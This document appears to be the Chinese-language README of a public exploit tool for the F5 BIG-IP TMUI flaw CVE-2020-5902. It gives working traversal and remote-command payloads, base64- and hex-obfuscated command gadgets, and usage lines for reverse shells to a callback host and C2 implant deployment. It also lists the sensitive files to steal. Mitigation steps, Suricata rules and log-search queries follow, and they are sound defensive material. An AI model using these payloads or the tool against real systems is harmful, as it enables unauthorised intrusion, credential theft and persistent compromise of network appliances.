GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

┌──────────────────────────────────────────────────────────────────┐
│  客户端请求                                                       │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet 过滤器       │
             │  看到: /tmui/login.jsp  ✓     │
             │  (公共端点 → 允许)             │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL 解析器           │
             │  解析: /..;/ → /../           │
             │  最终路径: /tmui/locallb/     │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (无身份验证检查) │
             │  以root身份读取任意文件        │
             └───────────────────────────────┘

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

阶段1：侦察
  └─ TCP 横幅抓取（HTTP/TLS 指纹）
  └─ SSL 证书分析
  └─ HTTP 头部指纹（Server、X-Powered-By、Set-Cookie）
  └─ 从 /etc/f5-release 估计 BIG-IP 版本

阶段2：漏洞检查
  └─ 遍历 6 种遍历编码变体
  └─ 针对 4 个已知可读的哨兵文件测试
  └─ 确认输出与已知指示符匹配（root:x:0:0、BIG-IP 等）

阶段3：漏洞利用
  ├─ 向量 A：tmshCmd.jsp（主要 RCE）
  │    └─ 命令通过 base64 / 十六进制编码 gadget 混淆
  ├─ 向量 B：fileRead.jsp + fileName 参数中的命令注入
  │    └─ 操作系统命令注入到 fileName 参数中
  └─ 向量 C：日志中毒（User-Agent 注入 → 读取 access_log）

阶段4：后利用（可选）
  ├─ 交互式 Shell（命令 REPL）
  ├─ 反弹 Shell（4 个并发单行命令）
  ├─ LFI 暴力破解（30 个敏感路径，并行）
  └─ C2 植入程序部署（Sliver / Metasploit / 自定义）

# Gadget 1 — Base64 编码/解码管道
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — 十六进制字节 printf 求值
eval "$(printf '\x69\x64')"

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

# 1. 仅漏洞检查
python CVE-2020-5902.py 192.168.1.100

# 2. 自定义端口 + 单条命令执行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. 交互式 Shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI 暴力破解（读取 30 个敏感路径）
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. 反弹 Shell 回调
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. 部署 C2 植入程序（Sliver 示例）
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. 通过 Burp Suite 路由以检查流量
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

# BIG-IP：将管理访问限制到专用 VLAN/IP 范围
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

┌────────────────────────────────────────────────────────────────┐
│  推荐架构                                                       │
│                                                                 │
│  互联网 ──────► 防火墙 ──────► DMZ / 生产环境                  │
│                      │                                          │
│                      │  （拒绝所有到管理端口的流量）              │
│                      │                                          │
│                   跳板机 ──────► BIG-IP TMUI（端口 443）       │
│                 （MFA + VPN）        （仅管理 VLAN）            │
└────────────────────────────────────────────────────────────────┘

[ ] BIG-IP 已更新到修复版本
[ ] TMUI 未暴露到互联网（使用 Shodan/Censys 验证）
[ ] 管理 VLAN 与生产环境隔离
[ ] Self IP 端口锁定已配置（Allow None 或 Allow Defaults）
[ ] 管理访问已启用 MFA
[ ] BIG-IP 软件清单已纳入资产管理系统中
[ ] 自动漏洞扫描（Tenable/Qualys）包含 BIG-IP
[ ] 已配置日志转发至 SIEM（access_log、audit.log）
[ ] 网络分段：被攻陷的 BIG-IP 无法到达域控制器
[ ] 事件响应预案包含网络设备被攻陷场景

# 检测路径遍历尝试（分号绕过）
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# 检测编码分号变体
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历（编码）";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

# 在 BIG-IP 访问日志中搜索遍历尝试
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# 查找对易受攻击端点的成功命中
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "高", "中")
| stats count by src_ip, uri_path, status, risk
| sort -count

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

/etc/passwd                  — 凭据收集
/config/bigip.conf           — VPN/路由配置外泄
/config/bigip.license        — 许可证密钥窃取
/config/bigip_user.conf      — 本地管理员账户枚举
/root/.bash_history          — 历史命令侦察